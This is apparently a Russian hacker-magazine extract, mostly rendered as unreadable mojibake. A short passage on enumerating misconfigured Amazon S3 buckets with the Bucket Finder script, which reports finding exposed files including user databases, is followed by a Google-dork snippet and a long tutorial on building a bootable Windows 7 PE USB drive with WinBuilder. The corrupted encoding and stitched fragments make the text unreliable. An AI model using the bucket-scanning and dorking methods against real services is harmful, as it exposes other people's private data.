ÅÏÒÓÔÐÁ Ë ËÏÎËÑÆÓÎÜÍ ÏÂÛÆËÓÁÍ). ®Ï ÏÂÑÁÚÁàÒÝ Ë ËÁÇÅÏÍÔ ÉÈ 
ÏÂÛÆËÓÏÃ, ÍÏÇÎÏ ÉÈÔØÉÓÝ ÏÓÃÆÓ ÒÆÑÃÆÑÁ: «403 Forbidden» (ÅÏÒÓÔÐ 
ÈÁÐÑÆÚÆÎ) ÉÌÉ «200 OK» (ÅÏÒÓÔÐ ÑÁÈÑÆÙÆÎ).
³ÁËÉÍ ÏÂÑÁÈÏÍ, ÌÆÄËÏ ÒÏÒÓÁÃÌàÆÓÒà ÒÐÉÒÏË ÕÁÊÌÏÃ, ÅÏÒÓÔÐÎÜÖ 
ÅÌà ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ ÈÁÄÑÔÈËÉ. £ ÑÆÈÔÌÝÓÁÓÆ DigiNinja ÎÁÂÑÏ-
ÒÁÌ ÎÁ Ruby ÐÑÏÒÓÏÊ Ò×ÆÎÁÑÉÊ Bucket Finder (www.digininja.
org/projects/bucket_finder.php), ÑÆÁÌÉÈÏÃÁÃ ÏÐÉÒÁÎÎÔß ÉÅÆß. 
±ÁÅÉ ÞËÒÐÆÑÉÍÆÎÓÁ ÐÁÑÆÎÝ ÃÈàÌ wordlist Ò ÎÁÉÂÏÌÆÆ ØÁÒÓÏ 
ÉÒÐÏÌÝÈÔÆÍÜÍÉ ÉÍÆÎÁÍÉ ÐÏÌÝÈÏÃÁÓÆÌÆÊ (2226 ÒÌÏÃ) É Ò ÐÏÍÏ-
ÚÝß ÞÓÏÄÏ ÒËÑÉÐÓÁ ÐÑÏÙÆÌÒà ÐÏ ÎÆÍÔ. £ ÉÓÏÄÆ ÎÁÙÌÏÒÝ 848 
ÈÁËÑÜÓÜÖ É 131 ÏÓËÑÜÓÜÖ bucket’ÏÃ. ¥Ìà ÈÁÄÑÔÈËÉ ÐÑÉ ÞÓÏÍ 
ÂÜÌÏ ÅÏÒÓÔÐÎÏ 9683 ÕÁÊÌÏÃ, ÒÑÆÅÉ ËÏÓÏÑÜÖ ÏËÁÈÁÌÉÒÝ É ÐÏÌÝ-
ÈÏÃÁÓÆÌÝÒËÉÆ ÂÁÈÜ, ËÏÓÏÑÜÆ Ã ÏÓËÑÜÓÏÍ ÅÏÒÓÔÐÆ ÂÜÓÝ ÎÔ ÎÉËÁË 
ÎÆ ÅÏÌÇÎÜ. z

Proof-of-Concept
Êîãäà-òî äàâíî ìû äåëèëèñü ñ òîáîé 

ìàëåíüêèìè õàêàìè äëÿ ïîèñêà ðàçëè÷íîãî 

ðîäà ôàéëîâ ÷åðåç Google. Ê ïðèìåðó, çàïðîñ  

«"index of" + "mp3" -html -htm -php» ïîçâîëÿë 

íàéòè îãðîìíîå êîëè÷åñòâî äèðåêòîðèé ñ mp3-

ôàéëàìè. Íî ýòî áûëî íå ñàìûì èíòåðåñíûì.

Исходник Bucket Finder
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Íàøà çàäà÷à íà ñåãîäíÿ — ñîçäàòü ñïåöèàëüíóþ ñáîðêó Windows 7, 
êîòîðàÿ áû ðàáîòàëà áåç óñòàíîâêè è çàïóñêàëàñü ïðÿìî ñ ôëåøêè. 
Âêëþ÷èâ â åå ñîñòàâ íåîáõîäèìûé ñîôò, ìû ñìîæåì ðåøàòü ðàçíûå 
çàäà÷è: ðåøàòü ïðîáëåìû ñ äèñêîâûìè ðàçäåëàìè, óäàëÿòü âèðóñû 
èëè, ê ïðèìåðó, èñïîëüçîâàòü õàêåðñêèå èíñòðóìåíòû â ïðèâû÷íîì 
îêðóæåíèè.
¥ÁÃÎÏ ÒÍÆËÎÔÃ, ØÓÏ ÍÎÏÄÉÆ ÐÑÏÂÌÆÍÜ ÄÏÑÁÈÅÏ ÐÑÏÚÆ ÑÆÙÁÓÝ, ÈÁÄÑÔ-
ÈÉÃÙÉÒÝ Ò Live-ÎÏÒÉÓÆÌà, à ÒÓÁÑÁßÒÝ ÃÒÆÄÅÁ ÉÍÆÓÝ ÐÑÉ ÒÆÂÆ ÎÁ ÕÌÆÙËÆ 
ËÁËÏÊ-ÎÉÂÔÅÝ recovery-ÅÉÒÓÑÉÂÔÓÉÃ. ²ÏÄÌÁÒÉÒÝ, ØÓÏ ÞÓÏ ÆÒÌÉ ÎÆ ÌÔØ-
ÙÉÊ, ÓÏ, ÐÏ ËÑÁÊÎÆÊ ÍÆÑÆ, ÏÅÉÎ ÉÈ ÔÅÏÂÎÆÊÙÉÖ ÒÐÏÒÏÂÏÃ ÃÏÒÒÓÁÎÏÃÉÓÝ 
ÒÉÒÓÆÍÔ ÉÌÉ, Ë ÐÑÉÍÆÑÔ, ÑÁÒÐÑÁÃÉÓÝÒà Ò ÍÁÌÃÁÑÝß (ÏÒÏÂÆÎÎÏ ÆÒÌÉ ÑÆØÝ 
ÉÅÆÓ Ï ÂÌÏËÉÑÁÓÏÑÆ). À ÐÆÑÆÐÑÏÂÏÃÁÌ ÍÎÏÄÏÆ. ²ÐÆÑÃÁ ÞÓÏ ÂÜÌÉ ÒÉÒÓÆÍÜ 
ÎÁ ÂÁÈÆ Linux, ÈÁÓÆÍ UBCD4Win, ÐÏÒÓÑÏÆÎÎÜÊ ÎÁ ÂÁÈÆ Windows XP, Á 
ÐÏÓÏÍ à ÒÅÆÌÁÌ ÒÃÏß ÒÏÂÒÓÃÆÎÎÔß ÒÂÏÑËÔ, ÉÒÐÏÌÝÈÔà ÎÆÂÆÈÜÈÃÆÒÓÎÔß 
ÔÓÉÌÉÓÔ Bart’s PE Builder (www.nu2.nu/pebuilder). ́ ÃÜ, ÐÑÏÄÁ ÅÁÃÎÏ ÎÆ 
ÏÂÎÏÃÌàÆÓÒà, Á, ÈÎÁØÉÓ, Ã ËÁØÆÒÓÃÆ ÒÐÉÒÏË ÐÏÅÅÆÑÇÉÃÁÆÍÜÖ ÒÉÒÓÆÍ, 
ÅÏÒÓÔÐÎÜÖ ÅÌà ÐÆÑÆÎÏÒÁ ÎÁ ÈÁÄÑÔÈÏØÎÜÊ ÎÏÒÉÓÆÌÝ, ÏÒÓÁÆÓÒà ÐÏ-
ÐÑÆÇÎÆÍÔ ÓÆÍ ÇÆ: Windows 2000/XP/2003. ¾ÓÏ ÎÆÍÎÏÄÏ ÏÄÏÑØÁÆÓ: ÔÇÆ 
ÃÒÆ ÔÒÐÆÌÉ ÐÑÉÃÜËÎÔÓÝ Ë «ÒÆÍÆÑËÆ», É ÂÜÌÏ ÂÜ ÈÅÏÑÏÃÏ ÒÏÂÑÁÓÝ ÒÃÏß 
ÈÁÄÑÔÈÏØÎÔß ÒÉÒÓÆÍÔ ÉÍÆÎÎÏ ÎÁ ÂÁÈÆ Windows 7. ²ËÁÈÁÎÏ — ÒÅÆÌÁÎÏ.

Наш помощник — WinBuilder
£ ÈÁÍÆÎÔ PeBuilder ÎÁÙÆÌÒà ÅÑÔÄÏÊ, ÒÏÃÆÑÙÆÎÎÏ ÈÁÍÆØÁÓÆÌÝÎÜÊ 
ÉÎÒÓÑÔÍÆÎÓ — WinBuilder. ¾ÓÏ ÅÁÇÆ ÎÆ ÐÑÏÄÑÁÍÍÁ, Á ÎÁÒÓÏàÚÉÊ ÕÑÆÊÍ-
ÃÏÑË ÅÌà ÒÏÈÅÁÎÉà Windows PE (ÓÁË ÎÁÈÜÃÁÆÓÒà ÏÂÌÆÄØÆÎÎÁà ÃÆÑÒÉà 
¯² Windows, ËÏÓÏÑÁà ÐÏÈÃÏÌàÆÓ ÈÁÄÑÔÇÁÓÝÒà ÒÏ ÒÍÆÎÎÏÄÏ CD/DVD/
USB-ÎÏÒÉÓÆÌà). ¥Ìà ÞÓÏÄÏ ÏÎ ÉÈÃÌÆËÁÆÓ ÎÔÇÎÜÆ ËÏÍÐÏÎÆÎÓÜ ÉÈ ÅÉÒÓÑÉ-
ÂÔÓÉÃÁ ÒÁÍÏÊ ÒÉÒÓÆÍÜ, Á ÓÁËÇÆ ÎÁÂÏÑÁ Windows Automated Installation 
Kit (WAIK) Ã ËÁØÆÒÓÃÆ ÏÒÎÏÃÜ ÅÌà ÒÉÒÓÆÍÜ É ÐÏÈÃÏÌàÆÓ ÒÏÈÅÁÃÁÓÝ 

ÅÏÐÏÌÎÉÓÆÌÝÎÜÆ ÒËÑÉÐÓÜ, Ò ÐÏÍÏÚÝß ËÏÓÏÑÜÖ Ã ÒÉÒÓÆÍÔ ÃÒÓÑÁÉÃÁßÓÒà 
ÌßÂÜÆ ÒÓÏÑÏÎÎÉÆ ÔÓÉÌÉÓÜ. 
®Á ÂÁÈÆ WinBuilder ÐÏÒÓÑÏÆÎÏ ÎÆÒËÏÌÝËÏ ÐÑÏÆËÓÏÃ, ÃÏÓ ÌÉÙÝ ÎÆËÏÓÏÑÜÆ 
ÉÈ ÎÉÖ:
• LiveXP — ÉÒÐÏÌÝÈÔÆÓ Ã ËÁØÆÒÓÃÆ ÉÒÓÏØÎÉËÁ ÕÁÊÌÏÃ Windows XP É 
ÒÏÈÅÁÆÓ ÒÉÒÓÆÍÔ ÅÌà ÁÅÍÉÎÉÒÓÑÁÓÏÑÏÃ.
• Win7PE — ÂÆÑÆÓ ÈÁ ÏÒÎÏÃÔ ÒÉÒÓÆÍÜ ÅÉÒÓÑÉÂÔÓÉÃ Windows 7.
• VistaPE-CAPI — ÒÏÈÅÁÆÓ ÒÂÏÑËÔ ÎÁ ÏÒÎÏÃÆ Vista.
• NaughtyPE — ÏÒÎÏÃÜÃÁÆÓÒà ÎÁ Windows XP É ÉÈ ËÏÑÏÂËÉ ÐÏÅÅÆÑÇÉ-
ÃÁÆÓ ÃÏÒÐÑÏÉÈÃÆÅÆÎÉà ÍÆÅÉÁ-ÕÁÊÌÏÃ.
• MultiPE — ÒÏÂÉÑÁÆÓ ÈÁÄÑÔÈÏØÎÔß ÒÉÒÓÆÍÔ ÉÈ ÅÉÒÓÑÉÂÔÓÉÃÁ Vista ÉÌÉ 
Windows 7.
Ü ÇÆ ÂÔÅÆÍ ÉÒÐÏÌÝÈÏÃÁÓÝ Win7PE, ËÁË ÒÁÍÜÊ ÐÑÏÃÆÑÆÎÎÜÊ É ÎÁÉ-
ÂÏÌÆÆ ÐÏÅÖÏÅàÚÉÊ ÅÌà ÎÁÙÉÖ ÈÁÅÁØ ÐÑÏÆËÓ.

Что нам нужно?
¥Ìà ÓÏÄÏ, ØÓÏÂÜ ÒÏÂÑÁÓÝ ÈÁÄÑÔÈÏØÎÔß ÒÉÒÓÆÍÔ ÎÁ ÂÁÈÆ Windows 7 ÎÁÍ 
ÐÏÎÁÅÏÂÉÓÒà ÒÌÆÅÔßÚÆÆ:
1. ¥ÉÒÓÑÉÂÔÓÉÃ Windows 7 x86 ÉÌÉ x64, ÇÆÌÁÓÆÌÝÎÏ Ò ÔÇÆ ÉÎÓÆÄÑÉÑÏÃÁÎ-
ÎÜÍ SP1.
2. °ÏÒÌÆÅÎàà ÃÆÑÒÉà WinBuilder (winbuilder.net). ̄ Î ÑÁÒÐÑÏÒÓÑÁÎàÆÓÒà 
Ã ÃÉÅÆ ÎÆÂÏÌÝÙÏÄÏ exe-ÕÁÊÌÁ, Á ÎÆÏÂÖÏÅÉÍÜÆ ÅÌà ÑÁÂÏÓÜ ËÏÍÐÏÎÆÎÓÜ 
É ÃÒÐÏÍÏÄÁÓÆÌÝÎÜÆ ÔÓÉÌÉÓÜ ÅÏÐÏÌÎÉÓÆÌÝÎÏ ÈÁÄÑÔÇÁÆÓ ÉÈ ²ÆÓÉ.

Windows 7 PORTABLE
Äåëàåì çàãðóçî÷íóþ ôëåøêó ñ «ñåìåðêîé» íà áîðòó
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3. Windows Automated Installation Kit for Windows 7 (WAIK). 
°ÁËÆÓ ÅÌà ÁÃÓÏÍÁÓÉØÆÒËÏÊ ÔÒÓÁÎÏÃËÉ Windows ÃÆÒÉÓ 
ÏØÆÎÝ ÎÆÍÁÌÏ — ÞÓÏ ÏÂÑÁÈ ÎÁ 1,7 ¤Â, ËÏÓÏÑÜÊ ÓÜ ÍÏÇÆÙÝ 
ÌÉÂÏ ÃÜËÁØÁÓÝ Ò ÒÁÊÓÁ Microsoft (bit.ly/poNn7I), ÌÉÂÏ ÃÈàÓÝ 
Ò ÎÁÙÆÄÏ ÅÉÒËÁ.
4. Driverpack’É (driverpacks.net/driverpacks/latest) — 
ËÌÁÒÒÎÜÆ ÎÁÂÏÑÜ ÅÑÁÊÃÆÑÏÃ, ËÏÓÏÑÜÆ ÐÏÅÅÆÑÇÉÃÁßÓ 
ÏÄÑÏÍÎÏÆ ËÏÌÉØÆÒÓÃÏ ÇÆÌÆÈÁ. ®Á ÒÁÊÓÆ ÅÏÒÓÔÐÎÜ ÒÂÏÑËÉ 
ÅÌà ÑÁÈÌÉØÎÜÖ ÃÉÅÏÃ ÅÆÃÁÊÒÏÃ, ÎÁÍ ÐÏÎÁÅÏÂÉÓÒà ÎÆ ÓÁË 
ÍÎÏÄÏ, Á ÉÍÆÎÎÏ — ÒÂÏÑÎÉËÉ ÅÌà ËÁÓÆÄÏÑÉÊ Chipset, LAN, 
WLAN  Mass Storage driver. 

Предварительные 
приготовления
«ÏÄÅÁ ÃÒÆ ÕÁÊÌÜ ÂÔÅÔÓ Ã ÎÁÙÆÍ ÑÁÒÐÏÑàÇÆÎÉÉ, ÍÏÇÎÏ 
ÐÑÉÒÓÔÐÁÓÝ Ë ÐÑÉÄÏÓÏÃÌÆÎÉàÍ.
1. ¥Ìà ÎÁØÁÌÁ ÎÁÍ ÎÔÇÎÏ ÔÒÓÁÎÏÃÉÓÝ Windows Automated 
Installation Kit for Windows 7. ̈ ÁÐÉÒÜÃÁÓÝ ÎÁ ÂÏÌÃÁÎËÔ 
ISO’ÙÎÉË, ÒÁÍÏ ÒÏÂÏÊ, ÎÆ ÏÂàÈÁÓÆÌÝÎÏ: ÍÏÇÎÏ ÐÑÏÒÓÏ ÑÁÒ-
ÐÁËÏÃÁÓÝ ÕÁÊÌÜ ÉÈ KB3AIK_EN.iso É ÈÁÐÔÒÓÉÓÝ StartCD.exe. 
£ ÐÏàÃÉÃÙÆÍÒà ÍÆÎß ÁÃÓÏÈÁÐÔÒËÁ ÃÜÂÉÑÁÆÍ Windows AIK 
Setup É ÃÜÐÏÌÎàÆÍ ÒÁÍÔß ÒÓÁÎÅÁÑÓÎÔß ÔÒÓÁÎÏÃËÔ. £ÆÒÉÓ 
ÞÓÏ ÖÏÈàÊÒÓÃÏ ÍÎÏÄÏ, ÎÏ ÐÏÒÌÆ ÓÏÄÏ, ËÁË ÒËÑÉÐÓÜ WinBuilder 
ÉÈÃÌÆËÔÓ ÏÓÓÔÅÁ ÎÔÇÎÜÆ ÕÁÊÌÜ, WAIK ÍÏÇÎÏ ÂÔÅÆÓ ÔÅÁÌÉÓÝ 
(ÉÍÆÊ ÞÓÏ Ã ÃÉÅÔ).
2. ¥ÁÌÆÆ ËÏÐÉÑÔÆÍ ÕÁÊÌÜ Windows 7 Ò ÅÉÒËÁ ÉÌÉ ÉÈ ISO-
ÏÂÑÁÈÁ Ã ËÁËÔß-ÎÉÂÔÅÝ ÅÉÑÆËÓÏÑÉß.
3. ±ÁÈÍÆÚÁÆÍ ÈÁÄÑÔÇÆÎÎÜÊ WinBuilder.exe Ã ËÁËÏÊ-ÎÉÂÔÅÝ 
ÐÁÐËÆ (ÎÁÐÑÉÍÆÑ, C:\WinBuilder) — ÌÉÙÝ ÂÜ ÎÆ Ã ÅÉÑÆË-
ÓÏÑÉÉ Ò ÐÑÏÕÁÊÌÏÍ ÐÏÌÝÈÏÃÁÓÆÌà. © ÈÁÐÔÒËÁÆÍ ÂÉÎÁÑÎÉË 
ÐÏÅ ÁËËÁÔÎÓÏÍ ÁÅÍÉÎÉÒÓÑÁÓÏÑÁ: ÉÎÁØÆ ÐÑÏÄÑÁÍÍÁ ØÆÒÓÎÏ 
ÐÑÆÅÔÐÑÆÅÉÓ ÓÆÂà Ï ÃÏÈÍÏÇÎÜÖ ÐÑÏÂÌÆÍÁÖ.
4. ̄ Ó WinBuilder’Á Ã ØÉÒÓÏÍ ÃÉÅÆ ÓÏÌËÔ ÍÁÌÏ — ÆÍÔ ÎÆÏÂÖÏ-
ÅÉÍÜ Ò×ÆÎÁÑÉÉ É ÃÒÐÏÍÏÄÁÓÆÌÝÎÜÆ ÕÁÊÌÜ ÅÌà ÒÏÈÅÁÎÉà 
ÈÁÄÑÔÈÏØÎÏÄÏ ÅÉÒÓÑÉÂÔÓÉÃÁ. °ÏÞÓÏÍÔ ÐÆÑÃÏÆ, ØÓÏ ÓÜ 
ÔÃÉÅÉÙÝ ÐÏÒÌÆ ÈÁÐÔÒËÁ — ÞÓÏ «Download Center». °ÑÏÄÁ 
ÐÑÆÅÌÏÇÉÓ ÃÜÂÑÁÓÝ ÐÑÏÆËÓÜ, ËÏÓÏÑÜÆ ÎÆÏÂÖÏÅÉÍÏ ÒËÁØÁÓÝ. 
¯ÓÍÆØÁÆÍ ÄÁÌÏØËÁÍÉ:
• updates.boot-land.net (ÞÓÏ ÁÐÅÆÊÓÜ);
• win7pe.WinBuilder.net/SE (ÕÁÊÌÜ ÐÑÏÆËÓÁ Win7PE).
£ ÌÆÃÏÍ ÃÆÑÖÎÆÍ ÔÄÌÔ ÍÏÇÎÏ ÃÜÂÑÁÓÝ ÑÆÇÉÍ ÈÁÄÑÔÈËÉ (ÐÏ 
ÔÍÏÌØÁÎÉß ÏÎ ÃÜÒÓÁÃÌÆÎ Ã ÈÎÁØÆÎÉÆ «Recommended»). 
£ÜÂÉÑÁÆÍ ØÆÑÆÈ ÍÆÎß «Complete» É ÎÁØÉÎÁÆÍ ÈÁÄÑÔÈËÔ 
ÕÁÊÌÏÃ, ÎÁÇÁÃ ÎÁ ËÎÏÐËÔ «Download».
5. °Ï ËÁËÏÊ-ÓÏ ÐÑÉØÉÎÆ WinBuilder ÎÆ ÍÏÇÆÓ ËÏÑÑÆËÓÎÏ 
ÉÈÃÌÆØÝ ÁÂÒÏÌßÓÎÏ ÃÒÆ ÕÁÊÌÜ, ÎÆÏÂÖÏÅÉÍÜÆ ÅÌà ÒÏÈÅÁÎÉà 
ÒÂÏÑËÉ, ÐÏÞÓÏÍÔ ÐÑÉÅÆÓÒà ÐÏÑÁÂÏÓÁÓÝ ÎÆÍÎÏÄÏ ÑÔËÁÍÉ. 
®ÆÏÂÖÏÅÉÍÏ ÎÁÊÓÉ ÕÁÊÌ bcdedit.exe Ã ÒÃÏÆÊ ÒÉÒÓÆÍÆ 
(Windows 7) É ÒËÏÐÉÑÏÃÁÓÝ ÆÄÏ Ã C:\WinBuilder \Projects\
Tools\Win7PE_SE\x86 (ÉÌÉ C:\WinBuilder \Projects\Tools\

Win7PE_SE\x64 ÅÌà 64-ÂÉÓÎÏÊ ÒÉÒÓÆÍÜ). ³ÔÅÁ ÇÆ ÎÔÇÎÏ 
ÒËÏÐÉÑÏÃÁÓÝ ÒÌÆÅÔßÚÉÆ ÕÁÊÌÜ:

imagex.exe 
wimgapi.dll 
wimmount.inf 
wimmount.sys 
wimserv.exe

©ÈÎÁØÁÌÝÎÏ ÏÎÉ ÎÁÖÏÅàÓÒà Ã ÐÁÐËÆ WAIK. ÏÇÎÏ ÐÏÐÑÏÂÏ-
ÃÁÓÝ ÎÆ ÃÜÐÏÌÎàÓÝ ÞÓÏÓ ÙÁÄ. ́  ÍÆÎà ÁÃÓÏÍÁÓÉØÆÒËÉÆ ÒËÑÉÐ-
ÓÜ WinBuilder ÎÆ ÒÍÏÄÌÉ ÒÄÑÁÂÉÓÝ ÞÓÉ ÕÁÊÌÜ, ÎÏ ÃÏÈÍÏÇÎÏ 
ÓÆÂÆ ÐÏÃÆÈÆÓ ÂÏÌÝÙÆ. 

Собираем дистрибутив
³ÆÐÆÑÝ, ËÏÄÅÁ ÃÒÆ ÎÆÏÂÖÏÅÉÍÏÆ ÅÌà ÒÂÏÑËÉ Ô ÎÁÒ ÆÒÓÝ É ÄÏ-
ÓÏÃÏ Ë ÉÒÐÏÌÝÈÏÃÁÎÉß, ÎÆÓ ÒÍÜÒÌÁ ÈÁÓàÄÉÃÁÓÝ Ò ÒÏÈÅÁÎÉÆÍ 
ÅÉÒÓÑÉÂÔÓÉÃÁ. ̄ ÐàÓÝ ÇÆ ÑÁÒËÌÁÅÜÃÁß ÃÒÆ ÐÏ ÐÔÎËÓÁÍ.
1. ©ÓÁË, Ã ÌÆÃÏÊ ÐÁÎÆÌÉ ÍÜ ÃÉÅÉÍ ÅÆÑÆÃÏ ÐÑÏÆËÓÁ Win7PE 
SE. ®ÁÇÉÍÁÆÍ ÎÏ ËÎÏÐËÔ «Source»: ÈÅÆÒÝ ÎÆÏÂÖÏÅÉÍÏ 
ÔËÁÈÁÓÝ ÑÁÒÐÏÌÏÇÆÎÉÆ ÕÁÊÌÏÃ ÅÉÒÓÑÉÂÔÓÉÃÁ Windows 7. 
£ÒÆ ÏÒÓÁÌÝÎÏÆ ÍÏÇÎÏ ÏÒÓÁÃÉÓÝ ÐÏ ÔÍÏÌØÁÎÉß.
2. ¥ÁÌÆÆ ÎÆÏÂÖÏÅÉÍÏ ÐÏÅËÌßØÉÓÝ Ë ÒÏÈÅÁÎÉß ÒÂÏÑËÉ ÅÑÁÊ-
ÃÆÑÜ, ËÏÓÏÑÜÆ ÂÔÅÆÓ ÉÒÐÏÌÝÈÏÃÁÓÝ ÒÉÒÓÆÍÁ. ¾ÓÏ ÅÆÌÁÆÓÒà 
Ã ÑÁÈÅÆÌÆ «Drivers». °Ï ÔÍÏÌØÁÎÉß ÈÅÆÒÝ ÔËÁÈÁÎ ÐÔÓÝ 
%GlobalTemplates%\Drivers_x86. °ÑÏÚÆ ÃÒÆÄÏ ÎÁÇÁÓÝ ÎÁ 
ËÎÏÐËÔ «Explore» É Ã ÐÏàÃÉÃÙÔßÒà ÐÁÐËÔ ÒËÏÐÉÑÏÃÁÓÝ ÃÒÆ 
ÎÆÏÂÖÏÅÉÍÜÆ ÅÑÁÊÃÆÑÁ. °ÑÏÒÓÏ ÑÁÒÐÁËÏÃÜÃÁÆÍ ÒßÅÁ ÁÑ-
ÖÉÃÜ Driverpack’ÏÃ, ËÏÓÏÑÜÆ ÍÜ ÐÑÆÅÃÁÑÉÓÆÌÝÎÏ ÒËÁØÁÌÉ. 
³ÁË ËÁË ÐÏÅÅÆÑÇÉÃÁÆÓÒà ÒËÁÎÉÑÏÃÁÎÉÆ ÐÏÅÅÉÑÆËÓÏÑÉÊ, 
ÓÏ ÐÉÖÁÓÝ ÃÒÆ Ã ÏÅÎÔ ÒÔÍÁÒÙÆÅÙÔß ËÔØÔ ÎÆÏÂàÈÁÓÆÌÝÎÏ: 
ÒÍÆÌÏ ÑÁÈÍÆÚÁÊ ÒÏÅÆÑÇÉÍÏÆ ÁÑÖÉÃÏÃ «ËÁË ÆÒÓÝ».
3. ¦ÒÌÉ ÐÑÏÊÓÉÒÝ ÐÏ ÑÁÈÅÆÌÔ «Tweaks», ÓÏ ÍÏÇÎÏ ÅÏÐÏÌ-
ÎÉÓÆÌÝÎÏ ÃÎÆÒÓÉ ÑÁÈÌÉØÎÜÆ ËÏÒÍÆÓÉØÆÒËÉÆ ÎÁÒÓÑÏÊËÉ 
ÂÔÅÔÚÆÊ ÒÉÒÓÆÍÜ. « ÐÑÉÍÆÑÔ, ÉÈÍÆÎÉÓÝ wallpaper, ÎÁÒÓÑÏ-
ÉÓÝ ÍÆÎß «°ÔÒË», ÉÈÍÆÎÉÓÝ àÑÌÜØËÉ. £ÒÆ ÏØÆÎÝ ÐÏÎàÓÎÏ 
ÎÁÒÓÑÁÉÃÁÆÓÒà ØÆÑÆÈ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÆ ÏÐ×ÉÉ.
4. ¥ÁÌÆÆ ÐÆÑÆÖÏÅÉÍ Ã ÑÁÈÅÆÌ «WriteMedia» É ÁËÓÉÃÉÑÔÆÍ 
ÑÆÇÉÍ «Copy to USB-Device», ØÓÏÂÜ ÒÑÁÈÔ ÑÁÈÍÆÒÓÉÓÝ ÎÁÙÔ 
ÒÂÏÑËÔ ÎÁ USB-ÕÌÆÙËÔ, ÃÜÂÑÁÃ Ã ÍÆÎß ÎÔÇÎÜÊ ÎÏÒÉÓÆÌÝ.
5. ³ÆÐÆÑÝ ÍÏÇÎÏ ÎÁÇÁÓÝ ÎÁ ËÎÏÐËÔ «Play» É ÃÆÑÉÓÝ, ØÓÏ 
ÃÒÆ ÐÑÏÊÅÆÓ ÂÆÈ ÒÔØËÁ É ÈÁÅÏÑÉÎËÉ. ²ÏÈÅÁÎÉÆ ÒÂÏÑËÉ, 
ÏØÆÃÉÅÎÏ, ÈÁÎÉÍÁÆÓ ÎÆËÏÓÏÑÏÆ ÃÑÆÍà: Ã ÐÑÏ×ÆÒÒÆ ÍÏÇÎÏ 
ÎÁÂÌßÅÁÓÝ, ËÁË ÃÜÐÏÌÎàÆÓÒà ÏÅÉÎ ÒËÑÉÐÓ ÒÉÒÓÆÍÜ ÈÁ 
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• °ÏÌÆÈÎÜÆ ÐÌÁÄÉÎÜ:
Avira AntiVir:
reboot.pro/14817.  
• Malwarebytes’ Anti-
Malware: 
reboot.pro/9351.
• Sala’s Password 
Renew:
reboot.pro/2720.

info

INFO

£ÆÒÝ ÎÆÏÂÖÏÅÉÍÜÊ 
ÎÁÂÏÑ ËÏÍÐÏÎÆÎÓÏÃ 
ÅÌà ÒÏÈÅÁÎÉà ÈÁ-
ÄÑÔÈÏØÎÏÊ ÒÉÒÓÆÍÜ 
ÓÜ ÎÁÊÅÆÙÝ ÎÁ ÎÁÙÆÍ 
ÅÉÒËÆ. ²ÁÍÏ ÒÏÂÏÊ, 
ËÑÏÍÆ ÅÉÒÓÑÉÂÔÓÉÃÁ 
Windows 7.

dvd

DVD

Устанавливаем WAIK

Выбираем компоненты для загрузки
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PC_ZONE

ÅÑÔÄÉÍ (ÒÌÏÇÎÏ ÐÑÆÅÒÓÁÃÉÓÝ, ÒËÏÌÝËÏ ÃÑÆÍÆÎÉ ÔÙÌÏ ÂÜ ÎÁ ÃÜÐÏÌ-
ÎÆÎÉÆ ÐÏÅÏÂÎÏÊ ÑÁÂÏÓÜ ÃÑÔØÎÔß). ²ÏÏÓÃÆÓÒÓÃÆÎÎÏ, ØÆÍ ÂÏÌÝÙÆ 
ÒËÑÉÐÓÏÃ ÓÜ ÃÜÂÑÁÌ ÅÌà ÃÜÐÏÌÎÆÎÉà, ÓÆÍ ÅÏÌÝÙÆ ÂÔÅÆÓ ÃÏÈÉÓÝÒà 
WinBuilder. £ ÒÌÔØÁÆ ÏÙÉÂËÉ ÐÑÏÄÁ ÒÏÏÂÚÉÓ Ã ØÆÍ ÐÑÏÂÌÆÍÁ É, ÒËÏÑÆÆ 
ÃÒÆÄÏ, ÃÜÅÁÒÓ Ã ÂÑÁÔÈÆÑÆ ÒÐÑÁÃËÔ Ò ÃÏÈÍÏÇÎÜÍ ÑÆÙÆÎÉÆ ÐÑÏÂÌÆÍÜ. 
¾ÓÔ ÉÎÒÓÑÔË×Éß à ÒÏÒÓÁÃÌàß Ò ÔØÆÓÏÍ ÃÒÆÖ ÃÏÈÎÉËÙÉÖ Ô ÍÆÎà ÒÌÏÇ-
ÎÏÒÓÆÊ, ÐÏÞÓÏÍÔ ÓÜ ÎÆ ÅÏÌÇÆÎ ÎÁÒÓÔÐÉÓÝ ÎÁ ÍÏÉ ÄÑÁÂÌÉ. £ÒÆ ÅÏÌÇÎÏ 

ÂÜÓÝ ÖÏÑÏÙÏ, É ÎÁ ÃÜÖÏÅÆ ÓÜ ÐÏÌÔØÉÙÝ ÕÁÊÌ Win7PE_x86.ISO Ã ÐÁÐËÆ 
WinBuilder\ISO. 
6. °ÑÆÇÅÆ ØÆÍ ÈÁÄÑÔÇÁÓÝ ÕÁÊÌÜ ÎÁ ÕÌÆÙËÔ, ÍÏÇÎÏ ÐÑÆÅÃÁÑÉÓÆÌÝÎÏ 
ÐÑÏÃÆÑÉÓÝ ÑÁÂÏÓÏÒÐÏÒÏÂÎÏÒÓÝ ÒÂÏÑËÉ Ã ÃÉÑÓÔÁÌÝÎÏÊ ÍÁÙÉÎÆ, É ÈÅÆÒÝ 
ÏÐàÓÝ ÇÆ ÃÒÆ ÁÃÓÏÍÁÓÉÈÉÑÏÃÁÎÏ. £ ÑÁÈÅÆÌÆ VirtualTest ÍÏÇÎÏ ÃÜÂÑÁÓÝ 
ÒÉÒÓÆÍÔ ÃÉÑÓÔÁÌÉÈÁ×ÉÉ (ÉÒÐÜÓÁÎÉÆ ÍÏÇÎÏ ÔÒÓÑÏÉÓÝ, ÃÏÒÐÏÌÝÈÏÃÁÃ-
ÙÉÒÝ qEmu, VirtualBox, Virtual PC, VMware). À ÏÒÓÁÃÉÌ ÑÆÇÉÍ ÐÏ ÔÍÏÌ-
ØÁÎÉß (Best Emulation), É WinBuilder ÈÁÐÔÒËÁÌÁ ÐÏÌÔØÉÃÙÉÊÒà ÏÂÑÁÈ 
Ã ÔÒÓÁÎÏÃÌÆÎÎÏÊ VMWare Workstation, ØÓÏ ÍÆÎà ÃÐÏÌÎÆ ÔÒÓÑÁÉÃÁÌÏ. ³Ü 
ÇÆ ÍÏÇÆÙÝ ÃÜÂÑÁÓÝ ÂÏÌÆÆ ÐÏÅÖÏÅàÚÉÊ Ò×ÆÎÁÑÉÊ. ÏÇÎÏ ÏÒÓÁÃÉÓÝ ÃÒÆ 
